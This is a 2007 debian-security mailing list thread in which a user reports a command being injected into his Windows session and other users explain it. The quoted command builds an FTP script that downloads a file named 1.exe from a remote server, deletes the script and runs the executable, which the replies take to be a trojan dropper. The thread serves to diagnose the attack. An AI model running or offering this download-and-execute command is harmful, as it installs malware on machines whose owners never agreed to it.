[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: spooky windows script


> %systemroot%\system32\cmd.exe
> cmd /c echo open 22783 >> ik &echo user db database >> ik &echo get 1.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &1.exe &exit

to clarify what this command line does:

it writes the following text lines in a file called "ik":

open 22783
user db database
get 1.exe

this are FTP commands, which are now being executed by the windows FTP
client. the parameters -n -v suppresses user autologin and verboseness
and the parameter -s:ik executes the content of the file "ik" as FTP
commands. the file ftp://db:database@ is being
fetched, the file "ik" is then being deleted and finally the file
"1.exe" is being executed. i suppose that 1.exe is some kind of windows
trojan or virus.

-stephan loh

On 2007.05.08 15:39, Celejar wrote:
> On Tue,  8 May 2007 14:57:24 +0200 (CEST)
> Jan Outhuis <jan.outhuis@orange.nl> wrote:
> > Hello,
> > 
> > Recently I'm repeatedly being pestered by a strange event while surfing the net. My cursor is taken over and the following code is typed:
> > 
> > %systemroot%\system32\cmd.exe
> > cmd /c echo open 22783 >> ik &echo user db database >> ik &echo get 1.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &1.exe &exit
> > 
> > (I see on my network monitor that this is coming from outside; IP-number and user name vary.)
> > 
> > After that all is back to normal.
> > 
> > Now this is of course a nuisance, but is it also a thread? And what can be done against it?
> > 
> > Anybody got a clue on this?
> > 
> > Tia,
> > 
> > Jan Outhuis
> Are you running linux or windows? With what program are you surfing?
> Where is that text displayed? The cmd.exe line looks like someone
> trying to open the windows command shell; the next line looks like
> someone trying to capture some data from your system and ftp it
> outwards. I'm just guessing, but it does appear to be a threat.
> Celejar
> --
> mailmin.sourceforge.net - remote access via secure (OpenPGP) email
> ssuds.sourceforge.net - A Simple Sudoku Solver and Generator
> -- 
> To UNSUBSCRIBE, email to debian-security-REQUEST@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org

Reply to: